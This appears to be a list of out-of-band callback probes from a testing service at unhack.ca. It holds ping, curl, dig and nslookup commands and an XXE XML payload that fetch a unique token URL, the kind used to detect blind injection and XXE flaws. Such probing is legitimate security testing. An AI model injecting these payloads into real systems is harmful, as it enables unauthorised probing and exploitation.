$ ping -c1 -p 00ce28adba1f00f0b36a224d103c5700 unhack.ca
$ curl http://unhack.ca/p/ce28adba1f00f0b36a224d103c57
$ dig ce28adba1f00f0b36a224d103c57 @unhack.ca
$ dig ce28adba1f00f0b36a224d103c57.ns.unhack.ca
C:\> nslookup ce28adba1f00f0b36a224d103c57 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/ce28adba1f00f0b36a224d103c57">]> <foo>&xxe;</foo>